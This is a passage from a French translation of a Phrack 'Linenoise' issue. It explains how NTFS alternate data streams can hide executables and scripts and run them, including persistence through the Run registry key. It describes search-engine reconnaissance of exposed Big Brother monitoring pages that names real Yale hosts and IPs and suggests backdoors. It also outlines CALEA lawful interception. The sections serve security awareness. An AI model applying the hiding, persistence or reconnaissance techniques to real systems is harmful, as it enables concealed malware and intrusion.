==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x03 of 0x10
|=------------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------=[Traduit par Jacob [Degenere-Sci;]=---------------------=|
|=--------------------------=[ Phrack Staff ]=------------------------------=|
--[ Table des matières
1 - Le coté obscure de NTFS
2 - Analysons Big Brother
3 - Appels gratuits depuis un mobile
4 - Lawfully Authorized Electronic Surveillance [LAES]
5 - Java traverse le firewall !
--[ 1 - Le coté obscure de NTFS (par H. Carvey)
Introduction
Les plates-formes Microsoft continuent à proliférer et à se multiplier. Les
serveurs de bureau et de sociétés fonctionnent sous Windows NT (NT) et
Windows 2000 (2k), contrairement aux systèmes des utilisateurs familiaux et
des étudiants qui tournent sous Windows XP (XP). Ces plates-formes sont
extrêmement populaires, et très répandues. Cependant, les administrateurs et
les utilisateurs de ces systèmes en savent très peu sur un dispositif du
système de fichier NTFS appelé " Flux de données alternés "(alternate data
streams en V.O ,A.D.S)
NTFS est le système de fichier préféré de par sa stabilité, sa
fonctionnalité, et le niveau de sécurité qu'il fournit. Les ' flux de données
alternés NTFS ' (ADSs) sont fournit pour la compatibilité avec le système de
fichier hiérarchique (NDT: initialement " Macintosh Hierarchical File System
(HFS) ") de Macintosh, qui utilise les forks(N.D.T :Les fichiers Macintosh
sont constitués de deux composantes appelées forks ) ressource pour maintenir
une information associé avec un fichier, comme une icône, etc.. (RUSS00).
Contrairement a Microsoft qui fournit des moyens pour créer des ADSs
spécifique via Windows Explorer, les outils nécessaire et les fonctionnalité
pour détecter la présence d'ADSs arbitraires sont absents. Curieusement, les
OS ont les fonctionnalité et les outils nécessaires de base pour autoriser un
utilisateur a créer des ADSs et pour exécuter du code caché dans ces fluxs.
L'article de Microsoft Q101353 reconnaît le fait que les API de base Win32
supportent inconsciemment les ADSs.
Le but de cet article est de décrire en détail comment les ADSs sont créé et
manipulé, et comment du code caché dans les ADSs peut être exécuté. Les
différence spécifique dans le traitement des ADSs par NT, 2K, XP ne seront
pas noté.
Création D'ADSs
La syntaxe utilisé pour créer des ADSs est relativement simple. Pour créer un
ADS associéavec le fichier " monfichier.txt ", il suffit de séparer le nom
par défaut du flux du nom de l'ADS, avec les deux points.
c:\ads>echo Ceci est un ADS > monfichier.txt:hidden
En plus, un ADS peut être créé en utilisant le contenu d'un autre fichier.
c:\ads>echo Ceci est un fichier test > test.txt
c:\ads>type test.txt > monfichier.txt:hidden
Cet ADS peut ensuite être vérifier en utilisant Notepad.
c:\ads>notepad monfichier.txt:hidden
Cependant, aucune des variations de la commande 'dir' ou aucune des
configurations de l'explorateur windows ne détecterons la présence de cet
nouvel ADS créé.
En plus, des ADSs peuvent êtres créés et associée avec le listing d'un
répertoire, plutôt qu'un fichier. Cette particularité prendra plus de
signification plus loin dans l'article. Pour le moment, c'est suffisant de
décrire comment de tel ADSs peuvent être créé.
c:\ads>echo Cette ADS est associé au listing du répertoire> :hidden
Les ADSs de ce type peuvent être crées avec Notepad et la commande "type",
évidemment.
Le contenu des ADSs peuvent ne pas être limités a du simple texte. Quelques
chaînes d'informations binaire peuvent constituer un fichier, et l'ADS n'est
rien de plus qu'un fichier. N'importe quel exécutable peut être caché dans
les ADSs facilement.
c:\ads>type c:\winnt\notepad.exe > monfichier.txt:np.exe
c:\ads>type c:\winnt\system32\sol.exe > monfichier.txt:sol2.exe
De façon similaire, les fichiers images, audio ou autres chaînes de donné
peuvent être cachés dans les ADSs
Finalement, Windows Explorer fournit un moyen par lequel des ADSs très
spécifique peuvent être créés (RUSS00). Si l'utilisateur ouvre Explorer et
choisi un fichier, et ensuite fait un click droit sur ce fichier, un menu
déroulant apparaît. En choisissant "Propriété"
apparaîtra un boite de dialogue des propriétés, et en choisissant l'étiquette
" Sommaire" (voir figure 1), cela relaiera les champs dans lesquelles
l'utilisateur peut insérer des informations.
Sommaire de la boite de dialogue
Figure 1 : Sommaire de la boite de dialogue " Propriétés "
Les ADSs n'ont aucun attribut par défaut, intrinsèquement . Les droits
d'accès assignés au flux d'accès sans nom par défaut contrôle l'accès pour
créer ou voir les ADSs. Plus simplement, si un utilisateur ne peut pas écrire
dans un fichier, cet utilisateur ne peut pas ajouter un ADS à ce même
fichier. Alors que la protection des fichiers windows ('Windows File
protection') prévient le remplacement des fichiers systèmes protégé, il ne
prévient pas un utilisateur avec les permission appropriées qui ajoute des
ADSs à ces fichiers systèmes. Le 'System File Checker' (sfc.exe) va vérifier
que les fichiers systèmes protégé n'ont pas été remplacé, mais ne détectera
pas les ADSs.
Les utilisateurs et les administrateurs devraient aussi être au courant de
l'article Q319300, qui déclare qu'un serveur d'indexation du contenu Windows
2000 ajoute des flux de données alternés nommé "?Q30lsldxJoudresxAssqpcawXc"
aux fichiers images sur les volumes NTFS. Ces ADSs contiennent les onglets de
ces images.
Détection, affichage et manipulation des ADSs
Comme indiqué précédemment, Microsoft ne fournit pas des outils ou des
utilitaires (soit directement avec le système d'exploitation soit dans un kit
de ressources) pour détecter la présence des ADSs. Un des meilleurs outils
disponibles pour cela se nomme lads.exe, écrit par Frank Heyne. Lads.exe est
actuellement disponible sous la version 3.01, et fait un excellent travail de
rapport des disponibilité des ADSs. Pour les administrateurs travaillant avec
des outils graphique, lads.exe est un outil à interface en ligne de commande
qui reporte ce qu'il trouve a l'écran. (c'est à dire sur la sortie standard
ou STDOUT). La figure 2 montre un exemple de lads.exe en action, qui
fonctionne dans un répertoire de test, c:\ads
figure2
FIGURE 2: LADS Output pour c:\ads
La figure 2 montre juste comment on peut employer pleinement lads.exe: Il ne
rapporte pas seulement la présence d'ADSs, mais il rapporte aussi le chemin
complet et la taille pour chaque ADS. Les notes particulières devraient être
prises des trois d'ADSs associés avec monfichier.txt. Deux commençant par un
caractère ASCII ne ressemblant pas à grand chose, et le troisième est une
longue série de nombre et de lettres entre deux armatures bouclées. Çà, ce
sont les ADSs qui sont associés avec le fichier utilisant l'onglet "sommaire"
de la boite de le dialogue "propriété" (fig. 1)
Lorsque une ADS est détecté, que pouvons nous faire pour voire son contenue ?
Notepad est un utilitaires très maniable pour voir des fichiers, et peut être
utilisé pour voir le contenue des ADSs. Cependant, il y a un petit problème.
Par exemple, la commande suivante produit un résultat inattendu:
c:\ads>notepad monfichier.txt:hidden
Lorsque cette commande est exécutée, Notepad s'ouvre et demande si
l'utilisateur souhaite créer un nouveau fichier. Ceci est une requête peu
commune, parce que l'ADS a été créé plus tôt. Pour observer le résultats
prévus, entrer la commande suivante:
c:\ads>echo Ceci est un autre ADS > monfichier.txt:caché.txt
c:\ads>notepad monfichier.txt:caché.txt
Le même effet peut être observé lorsque l'ADS est associé avec le listing
d'un répertoire, comme dans ":caché.txt". L'addition de l'extension à la fin
du nom de fichier autorise l'ADS à être ouvert avec Notepad. Ceci va aussi
fonctionner pour les autres ADSs, comme:
c:\ads>notepad monfichier.txt:np.exe
Les ADSs sont des fonctionnalités du système de fichier NTFS, ainsi si un
fichier avec un fichier avec un ADS est transféré sur un autre système de
fichier, comme FAT, FAT32 ou EXT2; l'ADS est alors enlevé, comme ce n'est pas
supporté sur ces autres systèmes de fichiers. Les ADSs sont préservés si le
flux sans nom par défaut (c'est à dire: monfichier.txt des exemples
précédents) est copié ou transféré à travers une partition NTFS, ou sur un
lecteur NTFS. Ceci peut être accomplit en utilisant la commande 'copy' ou
'move'.
Enlever tous les ADSs d'un flux par défaut est relativement simple, utilisez
les commandes suivantes:
c:\ads>type monfichier.txt > monfichier.bat
c:\ads>del monfichier.txt
c:\ads>ren monfichier.bat monfichier.txt
En utilisant LADS, il est facile de vérifier que tout les ADS créés avec les
précédents exemples ont disparu.
Exécuter des ADSs
Dans les exemples précédents, les exécutables étaient cachés dans les ADSs.
Cette information semble assez inutile à moins que les exécutables eux-mêmes
puissent être lancés, sans d'abord devoir les copier hors de l'ADS. En fait,
la commande 'start' peut être utilisée pour faire cela. Puisque les
exécutables cachés plus tôt ont été supprimés, redémarrez la commande va nous
servir d'exemple. Utilisez la commande 'type', cachez Notepad et le Solitaire
dans les ADSs associés avec monfichier.txt.
Sur NT, une simple commande va lancer chaque exécutable (MCCL99)
c:\ads>start monfichier.txt:np.exe
c:\ads>start monfichier.txt:sol2.exe
Cependant, ces commandes génèrent une erreur sur Win2k.Si l'on se fie au
message d'erreur, il apparaît que
l'information pointée sur l'exécutable n'est pas suffisante. Par conséquent,
chaque chemin relatif ou absolu suffit, et démarrer chacune de ces commande
va le démontrer:
c:\ads>start c:\ads\monfichier.txt:np.exe
c:\ads>start .\monfichier.txt:np.exe
Un point intéressant a noter est comment le processus apparaît pendant qu'il
démarré. Par exemple, démarrer pslist.exe de SysInternals après l'exécution
de chacune des deux commandes citées plus haut, affiche un processus appelé
"monfichier.txt" fonctionnant avec un PID de 1512, comme montré dans
la figure 3.
Figure 3
Figure 3: Liste des processus en utilisant pslist.exe
La figure 4 montre les processus dans l'onglet Processus de Gestionnaire des
tâches
figure 4
Figure 4: Les processus affiché par gestionnaire des tâches sous Win2k
Assez curieusement, l'onglet processus sous 2k montre que le PID 1512 a une
image du nom de "monfichier.txt". La figure 5 montre l'onglet Application de
Gestionnaire des tâches
figure 5
Figure 5: L'onglet Applications de gestionnaire des tâches sous 2k
La figure 6 montre que l'onglet des processus du gestionnaire des tâches sous
XP s'affiche lorsque la même commande est exécutée sur le système
d'exploitation
figure 6
Figure 6: L'onglet Processus de gestionnaire des tâches sous XP
Finalement, obtenez des informations sur le processus avec listdlls.exe de
SysInternals qui va afficher "c:\ads\monfichier.txt:np.exe" comme la ligne de
commande pour la commande précédente (voir figure 7), sous XP comme sous 2k.
figure 7
Figure 7: Résultat de listdlls.exe sur 2k
Une méthode alternative pour lancer des exécutables cachés sous 2k est un
raccourci (KASP01). Pour démontrer ce point, créez un raccourci sur le
bureau. L'endroit ou le fichier pour ce raccourci est placé est "c:\ads
\monfichier.txt". Lorsque le raccourci a était créer, observez l'icône sur le
bureau. Supposez que l'ADS pour le solitaire a été créé. Rendez-vous dans les
propriétés du raccourci: l'emplacement auquel se réfère le raccourci est "c:
\ads\monfichiers.txt:sol2.exe". Attendez quelques secondes et observez les
changements sur l'icône. Lancez l'exécutable en double cliquant sur cette
icône.
Assez intéressant, une technique similaire fonctionne pour ajouter une entrée
dans le dossier démarrer de windows" (KASP01) ou dans le dossier 'run' dans
le registre (KASP01). Le chemin complet pour cette clé est:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Spécifiez le chemin complet pour l'exécutable caché va garantir le lancement
de celui ci chaque fois que le système sera démarré.
Maintenant une autre méthode pour lancer un exécutable caché dans les ADSs se
fait via la box "démarrage" dans le menue démarrer (KASP01). Cliquez sur le
bouton démarrer, ensuite "démarrage", et tapez les commande suivante ce qui
aura pour effet de lancer le solitaire ADS:
file:///c:/ads/monfichier.txt:sol2.exe
Pour les administrateur utilisant Perl: Le perl interprète les ADSs assez
facilement. Par exemple, les lignes suivantes d'un code Perl peuvent être
utilisées pour lancer un ADS:
my $file = 'c:\ads\monfichier.txt:sol2.exe';
`$file`;
Sauvegardez le code précédant dans 'ads.pl' et exécutez le code en tapant:
c:\perl>ads.pl
Il y a une variation intéressante, ainsi la commande suivante fonctionne:
c:\perl>type ads.pl > monfichier.txt:ads.pl
c:\perl>perl monfichier.txt:ads.pl
The Windows Scripting Host (WSH) a été lancé avec 2k et présente beaucoup de
possibilité intéressante en rapport avec les ADSs (KASP01). C'est
particulièrement important parce que WSH est natif dans les distribution 2k
et XP, alors que Perl doit être installé séparément. Pour démontrer cette
capacité de WSH, tapez la commande suivante:
c:\ads>echo MsgBox "VBS file to test ADSs" > ads.vbs
Pour exécuter ce script utilisez WSH; tapez:
c:\ads>wscript ads.vbs
Alternativement, tapez:
c:\ads>cscript ads.vbs
Ou simplement, double cliquez sur le fichier dans l'explorateur windows. Ces
trois méthodes vont fonctionner avec les code VBScript. Maintenant tapez les
commandes suivantes:
c:\ads>wscript monfichier.txt:ads.vbs
Ou:
c:\ads>start .\monfichier.txt:ads.vbs
Cscript.exe démarre aussi le script. Alternativement, les méthode mentionnées
"raccourcit" et box "démarrer" auparavant démarrent le script également
(KASP01).
Le vrai, vrai coté obscure
Si le script caché dans un ADS finit avec une extension différente (c'est à
dire autre que ".vbs"), WHS aura du mal a reconnaître ce type de fichier, et
va se plaindre que quelque chose pour exécuter le fichier n'est pas présent.
Par exemple:
c:\ads>type ads.vbs > monfichier.txt:ads.txt
c:\ads>wscript monfichier.txt:ads.txt
L'exécution de la seconde commande va faire une erreur. Cependant,
wscript.exe comme cscript.exe permettent a l'administrateur de contrôler
l'exécution du programme. La syntaxe de commande peut être vu en tapant:
c:\ads>wscript /?
L'option "//E" autorise l'utilisateur a spécifier un moteur a être utilisé.
La nouvelle commande sera:
c:\ads>wscript //E:vbs monfichier.txt:ads.txt
Ceci présente quelques moyens intéressants pour une utilisation malveillante.
Par exemple, le dernier exemple d'ADSs produit via Windows Explorer (c'est à
dire via l'onglet sommaire dans la boite de dialogue "Propriétés" pour un
fichier) produit un ADS avec le nom "?SummaryInformation". Le code, comme un
script VBScript, peut être créé et écrit pour un ADS avec le même nom, et
ensuite lancé. Le code Perl suivant illustre bien ceci:
my $file = "c:\\ads\\monfichier.txt:".chr(5)."SummaryInformation";
my $src = 'c:\ads\ads.vbs';
`type $src > $file`;
`wscript //E:vbs $file`;
La dernière commande dans le script est intéressante. Pour wscript.exe et
cscript.exe, l'option "//E" force l'application à utiliser un moteur de
script particulier. Dans ce cas, l'ADS contenat le script à être lancé n'as
pas d'extension, ainsi le scripting host n'a aucun moyen de déterminer le
moteur de script a être utilisé. Cette exemple pourrait être aussi appliqué
aussi facilement aux ADSs créés par le "Content Indexing Server", comme
mentionné précédemment.
Conclusion
Les ADSs sont un dispositif du système de fichier NTFS créées pour fournir
une compatibilité avec HFS, ce qui pourrait encore être nécessaire pour la
compatibilité. Cependant, le manque de visibilité de ce "dispositif" pose un
risque pour les administrateurs. Il y a déja eu un virus qui employait les
ADSs, W2K. Stream écrit par Bennie et Ratter du group 29A (KASP01). Comme la
le nombre d'attaques et d'incidents cybercriminels augmente, l'utilisation
malicieuse des ADSs va également augmenter.
La solution n'est pas de stopper l'utilisation du système de fichier NTFS,
les bénéfice en sécurité et à l'utilisation sont fabuleux. Ce "dispositif"
est resté partie intégrante du système de fichier depuis NT 3.1. Etant donné
les circonstances, une solution bien plus prudente aurait été d'inclure le
support des fichiers HFS dans le service de fichiers et d'impression pour
Macintosh, plutôt que le système de fichier. Ainsi, les administrateurs
devraient faire une utilisation judicieuse des "discretionary access control
lists (DACLs) sur les fichiers et répertoires (CARV00), et régulièrement
scanner leur systèmes critiques en utilisant des utilitaires comme lads.exe.
En complément, Microsoft devrait être apte à détecter et voir les ADSs via
Windows Explorer et l'interpréteur de commandes. Une autre mesure appropriée
serait de faire apparaître les ADSs dans Windows Explorer par défaut. Par
exemple, en utilisant une icône avec un signe "A" signifiant "ADS". En plus,
Microsoft devrait fournir des restrictions dans le système d'exploitation
pour créer des processus de fichiers exécutables dont les noms contiennent
une colonne.
De plus, les vendeurs de logiciels antiviraux devraient inclure le support
pour les ADSs dans leur produit, et ceci par défaut. Tandis que beaucoup de
vers dans les années passées ou d'autre exécutables, on été écrits en Visual
Basic ou en Delphi, d'autres on été fait en Visual Basic scripts. Ce langage
à déjà été utilisé pour écrire des malwares entraînants des ravages
considérable, et toute les mesures prudentes devraient êtres prises pour
protéger les systèmes..
Références
RUSS00 Russinovich, M., Inside Win2K NTFS, Part 2 , Windows 2000 Magazine,
Novembre, 2000
MCCL99 McClure, S., Scambray, J., and Kurtz, G., Hacking Exposed: Network
Security Secrets and Solutions, Berkeley: Osbourne, 1999
KASP01 Kaspersky, E. and Zenkin, D., NTFS Alternate Data Streams , Windows
and .Net Magazine, Spring 2001
CARV00 Carvey, H., Network Trojans: What You REALLY Need To Know ,
Information Security Bulletin, Vol. 5, Issue 8
--[ 2 - Analysons Big Brother
par da_knight <x667576616a6e@yahoo.com>
Avez-vous déjà voulu être celui qui espionnait? Si vous êtes un
administrateur système de serveurs UNIX/Linux, il est possible que vous soyez
au courant d'un produit appelé Big Brother, qui peut être téléchargé
sur'http://bb4.com'.Cet article n'est pas orienté technique, simplement parce
qu'il n'a pas besoin de l'être. Ce dernier est divisé en deux sections,donc
soutenez moi pour le briefing sur Big Brother (BB).
BB est un programme qui va afficher les divers équipements d'un
ordinateur, comme les moniteurs connectés, l'utilisation du cpu, l'usage du
disque, le statut ftp, le statut http, le statut pop3, etc.. Comme vous
pouvez l'imaginer, cette information est très importante pour une
organisation. BB est votre installation standard client/serveur. Le logiciel
serveur peu fonctionner sous différents UNIX, linux et NT. Le logiciel client
est disponible pour UNIX, Linux, NT, Novell, AS/400, et VAXEN, et quelques
logiciels clients sont fournis par des vendeurs 3rd-party et ne sont pas
supportés par la technologie BB4.
Ce qui est cool avec tout çà c'est que toutes ces informations sont
visibles sur une page web. Donc, si vous avez des serveurs multiples que
vous avez à maintenir, avec ce produit vous serez capable d'aller sur une
page web et rapidement visionner un statut de tout ces serveurs. - joliment
maniable. Quand tout est OK votre statut est " vert ", les gros problèmes
sont indiqués en " rouge ".
Exemple : Le statut de connectivité (conn) est donné en pingant
l'équipement en question, si le ping ne fonctionne pas, il apparaîtra une
zone rouge sur la page web. Lorsque les tests repèrent ce dysfonctionnement,
BB peut être configuré pour automatiquement avertir l'administrateur
(N.D.T:par mail ou autre).
Ici se trouve un menu reprenant les statut, listés selon la sévérité :
rouge - Ennuis; vous avez des problèmes
violet - Pas de rapport; le client n'as pas répondu dans les dernières
30 minutes.
jaune - Attention; un seuil a été franchit.
vert - OK; tout va bien.
rien - Non disponible; Le test a été éteint.
bleu - Désactivé; la notification pour ce test a été désactivée.
Le statut est aussi reflété dans le titre de la page web, ainsi il prend
seulement une zone rouge pour faire commencer le titre de page Web par
"red:Bigs Brother"; nous allons nous plonger dans cela dans une minute.
Une chose courante que font les administrateurs est de monitorer leurs
systèmes les plus importants avec ce produit, aussi bien que les aspects
le plus importants de leurs systèmes. Si vous avez un serveur web, vous
voudrez peut être monitorer le statut de connexion et http, juste pour
être sur que les personnes sont bien apte à se connecter au serveur. Les
autres tests que j'ai pu voir étaient pour vérifier Oracle, ou pour
lister tous les utiliasteurs connectés. Diable, ils ont même une manière
d'ajouter des rapports sur la météo. Le point à noter c'est que Vous
pouvez surveillez pratiquement sans limite, le point important, cela dépend
juste de ce que vous considérez important.
Maintenant que vous avez un peu plus de connaissances sur ce que BB est
capable de faire, je veux citer deux choses de la FAQ de BB4 Technologies
(BB4) - Section 5: Security Consideration (http://bb4.com/bb/help/bb-
faq.html#5.0). Tout dans cette section de la FAQ devrait être considéré, mais
focalisons-nous sur ces deux-là.
"BB n'as pas besoin d'être lancé en tant que root. Nous vous suggérons
de créer un utilisateur 'BB' et de lancer bb avec cet utilisateur". " Nous
vous recommandons la protection par mot de passe pour les pages web de Big
Brother."
Donc, vous devez vous demandez pourquoi ces deux choses sont importantes
pour moi ? Bien, un, vous savez que les administrateurs qui lancent ce
logiciel l'ont probablement installé en utilisant l'utilisateur 'bb', et
qu'il peut aussi être démarré avec les privilèges root. Cela vous donne un
compte valide d'utilisateur sur un système, et ce compte n'est probablement
pas utilisé par une personne très qualifiée donc le mot de passe peut être
très simple. Mais ce n'est pas le sujet de cet article. La seconde chose,
c'est que les informations récoltées par BB4 et placées sur ces pages web
sont extrêmement importantes, et elles recommandent la protection par mot de
passe. Suivant cette logique vous allez me dire que ces pages webs,
fonctionnent sur un serveur web, et si elles ne sont pas protégées par mot de
passe, et si le serveur est visible sur le www....ensuite.... Oui, les
moteurs de recherches vont trouver ces pages et vous les montrer lorsque vous
savez ce que vous cherchez.
Qu'attendez vous ? rendez vous sur 'http://www.google.com' et cherchez
avec les mots clés "green:Big Brother" (en incluant les ", qui peuvent
affiner la recherche).Vous allez avoir environ 16,200 réponses. Maintenant
cela ne signifie pas qu'elles sont toutes uniques: En effet, il y aura des
numéros de pages provenant du même site, mais vous obtenez la principale.
J'estimerais qu'il y a environ 200 sites qui peuvent être repérés par
cette astuce. Essayez de chercher avec tous les autres statut, vous n'avez
qu'a changer le nom de la couleur. Une autre chose: Je choisis google pour
une bonne raison: Beaucoup de ces sites ne fonctionnent plus avec les produit
BB, mais google possède une belle capacité à voir les pages cachées, ainsi
vous pouvez encore glaner de celles-ci quelques informations. Apres que vous
ayez trouvé votre liste de sites, vous réalisez que la majorité d'
entre eux sont soit de petits ISP ou des universités. Je vais choisir une
université une de Ivy League one, pas moins. Je peux vous dire que
ce site BB en particulier fonctionne sur un serveur BB du nom de
artemis.cs.yale.edu' et l'adresse IP est '128.36.232.57'. L'ordinateur
'rhino.zoo.cs.yale.edu' a également quelques problèmes sérieux. Comment j'ai
fait pour trouver l'adresse IP ? Simple. Si vous cliquer sur le
bouton "green" (vert) ou sur un bouton d'une autre couleur sous la colonne
"conn", vous allez voir une page web qui a une information similaire à çà:
---------------------------------------------------------
rhino.zoo.cs.yale.edu - conn
---------------------------------------------------------
green Sun Jun 30 01:33:15 EDT 2002 Connection OK PING 128.36.232.12
(128.36.232.12) from 128.36.232.57 : 56(84) bytes of data. 64 bytes
from 128.36.232.12: icmp_seq=0 ttl=255 time=379 usec
--- 128.36.232.12 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss round-trip
min/avg/max/mdev = 0.379/0.379/0.379/0.000 ms
---------------------------------------------------------
Ok vous savez que la commande ping a essayé de pinger '128.36.232.12'
dans ce cas 'rhino.zoo.cs.yale' provient de '128.36.232.57' ou de
'artemis.cs.yale.edu'. Voyons ce que nous pouvons trouver.
Je peux voir que presque tout leurs serveurs font tourner Tripwire, donc
ils ont des systèmes UNIX, et vous allez probablement vouloir créer
une backdoor sur ce système. Sur une autre page, nous pouvons voir les
utilisateurs qui sont loggués actuellement. Actuellement, nous avons 33
utilisateurs loggués, et nous voyons cela a 1h33 du mat !, ainsi on peut
penser que certaines personnes ont laisse leur ordinateur loggué.
Je veux obtenir plus d'informations sur les serveurs Yale, ainsi allons
sur google et faisons une recherche pour un autre page de Yale, mais cette
fois regardons pour 'zelda.cs.yale.edu'. Maintenant nous pouvons obtenir de
bonnes informations. Lorsque ce site est affiché, vous allez
voir quelques serveurs, énumérés comme plusieurs départements. Si vous
souhaitez savoir quel logiciel 'plucky.cs.yale.edu' utilise pour faire
fonctionner ses services HTTP, cliquez simplement sur le bouton green' (vert):
----------------------------------------------------
plucky.cs.yale.edu - http
----------------------------------------------------
green Sun Jun 30 01:45:21 EDT 2002
http://plucky.cs.yale.edu - Server OK
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: http://plucky.cs.yale.edu/index.html Date: Sun, 30
Jun 2002 05:45:21 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 12 Jan 1999 20:49:40 GMT ETag:
"54b4ec126d3ebe1:4051"
Content-Length: 2226
Seconds: 0.01
----------------------------------------------------
Diable, ils tournent actuellement sous IIS 4.0 ? Ils ne savent donc pas
à quel point ils sont insécurisés ? Je m'éloigne là. A partir de cette
informations vous savez que le serveur est l'une des versions de Windows NT
qu'il fait tourner IIS 4.0.
Zelda montre aussi qu'il monitorent les imprimantes. Maintenant, ce qui
peut être fun; vous pouvez par exemple envoyer le message 'je pense
vous avoir hacké' à l'imprimante'philo-printer.philosophy.yale.edu'. Et au
cas où vous vous demanderiez, l'imprimante est une 'HP LaserJet 4050
Series'; J'ai juste à cliquer sur le bouton en dessous de la colonne
"printer" (imprimante) pour le savoir.
Ailleurs sur ce même site, je trouve que plusieurs serveurs font tourner
telnet, pop3,oracle,ftp, et imap. Plusieurs de ces services vont gentiment
vous donner la version du logiciel qui les font tourner. Oracle par exemple,
est assez gentil pour vous montrer tout les utilisateurs connectés .Comment
pouvez-vous les remercier pour cette information valable?
Aussi, il semble également que les géologistes de Yale semblent posséder
des données de grandes importances. Je ne pouvais pas regarder ce qu'ils
surveillent en raison des autorisations d'accès sur leur site Web, mais je
sais que leur serveur web tourne sur Apache 1.3.26.
Comme vous pouvez le voir, j'aurais été capable d'obtenir un énorme
quantité de données vitales en quelques minutes. En plus, je n'ai violé
aucunes lois. Ces pages webs sont postées de telle façon que le monde entier
peut les voir. En seulement 10 minutes ou plus pour découvrir quelque chose
sur un système particulier, mais dans ce laps de temps j'ai trouvé de
nombreuse choses sur 40 systèmes de la même organisation ! Merci Big Brother !
Je pense qu'il doit être mentionné que l'information trouvée sur ces
pages web est une information que la plupart des organismes ne laissent même
pas aux des employés, en dehors du département IT . Je devine que je devrais
me sentir spécial puisque Yale doit estimer que je ne suis pas un
risque pour leur sécurité, autrement ils m'auraient incité à m'authentifier
sur le site web.
Imaginez cela: un ISP qui liste tous ses routeurs avec leur IPs et les
informations relatifs à l'architecture. Si vous obtenez çà, vous pourriez
probablement compter sur des vulnérabilités (découvertes cette année) dans
SNMP ou mieux, compter sur les comptes/mot de passes par défaut dans ce type
de dispositif. J'apporte seulement ceci parce que je sais que j'ai trouvé un
ISP qui liste les routeurs et la majorité des sites retournés par
google semblent être de petits ISP.
A propos de la recherche avec google, je vous recommande de chercher avec
"red:Big Brother", parce que ces pages vous donneront toujours plus
d'informations que lorsque le système fonctionne parfaitement.
Finalement, je n'ai pas écrit cet article pour vous inciter à pénétrer des
systèmes, ni pour vous fournir des moyens pour arriver au vos fins. J'ai
écrit cela parce que la sécurité est extrêmement importante, avec
l'information trouvée ,parce qu'avec ce produit votre environnement peut être
compromis. Si vous êtes un administrateur système pour un site pouvant être
révélé sur google, vous devriez sécuriser vos pages webs BB, parce que à
l'heure actuelle, le monde entier est en mesure de connaître votre
infrastructure.
--[ 4 - Introduction a la Surveillance Electronique Authorisee par la Loi.
(Traduit par DecereBrain)
[LAES : Lawfully Authorized Electronic Surveillance]
by Mystic <mystic@lostways.net>
En 1994 le Congres a adopte le Communications Assistance for Law Enforcement
Act (CALEA) [Loi d'Assistance aux Communication pour le Maintient de
l'Ordre]. Son intention etait de preserver mais ne pas etendre les
possibilites d'ecoutes de fils des agences de maintient de l'ordre par
requeter les fournisseurs de telecomunications d'utiliser des systemes qui
permettraient aux agences gouvernementales un niveau d'acces basique dans un
but de surveillance. Quoiqu'il en soit, la loi ne preservait pas seulement
les possibilites deja existantes d'enregistrer les commnications, elle les
augmente, autorisant le gouvernement a collecter des informations a propos
des appelant par sans fil, enregister le contenu sans fil, les messages
textes et les communications par paquets. Le standard qui a resulte de cette
legislation est appele Lawfully Authorized Electronic Surveillance ou LAES.
Un Fournisseur de Service de Telecommunications (FST) qui est compatible
CALEA fournit les moyens acces aux services et informations suivants aux
Agences de Maintient de l'Ordre [Law Enforcement Agencies: LEA] :
1. Non-call associated : Information a propos de l'interception du sujet qui
n'est pas necessairement en lien avec un appel.
2. Call associated : Information d'identification de l'appellant a propos des
appels impliquant l'interception du sujet.
3. Information de signal Call associated et non-call associated :Signale
l'information initialisee par le sujet ou le reseau.
4. Contenu de la surveillance : la capacite de monitorer les communications
du sujet.
Ce processus est appele la fonction d'interception. La fonction
d'interception est completee de 5 fonction separees : acces, delivrance,
collection, administration de fournisseur de service, et administration de
maintient de l'ordre.
----[ 4.1 La Fonction d'Acces (FA)
La FA est constituee d'un ou plus Point d'Acces d'Interception [NDT : PAI, ou
IAP en VO] qui isolent les communications du sujet ou les informations
d'identification de l'appel sans obstruction. Il y a plusieurs IAP differants
qui peuvent etre utilises dans la fonction d'interception. Je les ai separes
en IAP Call associanted et Non-call associated, et IAP de Surveillance ce
contenu.
IAP d'information Call Associated et Non-call Associated
--------------------------------------------------------
- IAP de Service du Systeme (SSIAP) : donne des informations non-call
associated.
- IAP d'Information d'Identification d'Appel (IDIAP) : donne des informations
call associated et, sous forme identique a ce qui suit, les evenements
d'appel pour des appels de circuits basiques :
Reponse - Une partie a repondu a une tentative d'appel
Change - l'identite ou les identites d'un appel ont change
Origine - Le systeme a route un appel passe par le sujet ou le systeme a
traduit un appel pour le sujet
Redirection - Un appel a ete redirige (i.e., forwarde, detourne, ou devie)
Liberation - Les facilites pour l'appel entier ont ete liberees
TerminationAttempt - Une tentative d'appel a un sujet d'interception a ete
detecte.
- IAP de Signal de Sujet d'Interception (ISSIAP) : fournit l'acces aux
informations d'appel et de signalement initailises par le sujet. Ceci
inclut, si le sujet d'interception utilise le forwarding d'appels,
l'attente d'appel, le maintient d'appel ou l'appel a trois. Ca donne
egalement aux LEA la possibilite de recevoir les digits composes par le
sujet.
- IAP de Signalement de Reseau (NSIAP) : Permet aux LEA d'etre informees sur
les mesages du reseau qui sont envoyes au sujet d'interception. Ces
messages incluent les informations occupe, re-ordre, sonnerie, alerte,
tonalite d'attente de message ou indication visuelle, attente d'appel,
information d'appel ou nom/numero de redirection, et le texte affiche.
IAPs de Surveillance de Contenu
-------------------------------
Ce qui suit sont les IAPs de surveillance de contenu qui transmettent du contenu en utilisant un CCC ou un CDC. Une remarque interessante a propos de
la surveillance de contenu est que les TSPs ne sont pas responsables du
decryptage d'informations qui est cryptee par le sujet de l'interception a
moins que les donees soit cryptees par le TSP et que le TSP a le moyen de les
decrypter.
- IAP de Circuit (CIAP) : accede au contenu de l'appel des communications du
mode circuit.
- IAP de Circuit de Conferance (CCIAP) : Fournit l'acces au contenu de
services d'appel en conferance inities par le sujet comme les appels a
trois et les appels a multiples voies.
- IAP de donnees par paquets (PDIAP) : Fournit l'acces aux paquets de donnees
envoyes ou recus par le sujet de l'interception.
Ceux-ci incluent les services suivants :
Signal ISDN d'utilisateur a utilisateur
Services de paquets X.25 ISDN D-channel
Short Messages Services (SMS) pour les cellulaires et les services de donnees
en mode paquet Personal Communication Services Wireless (i.e. Cellular
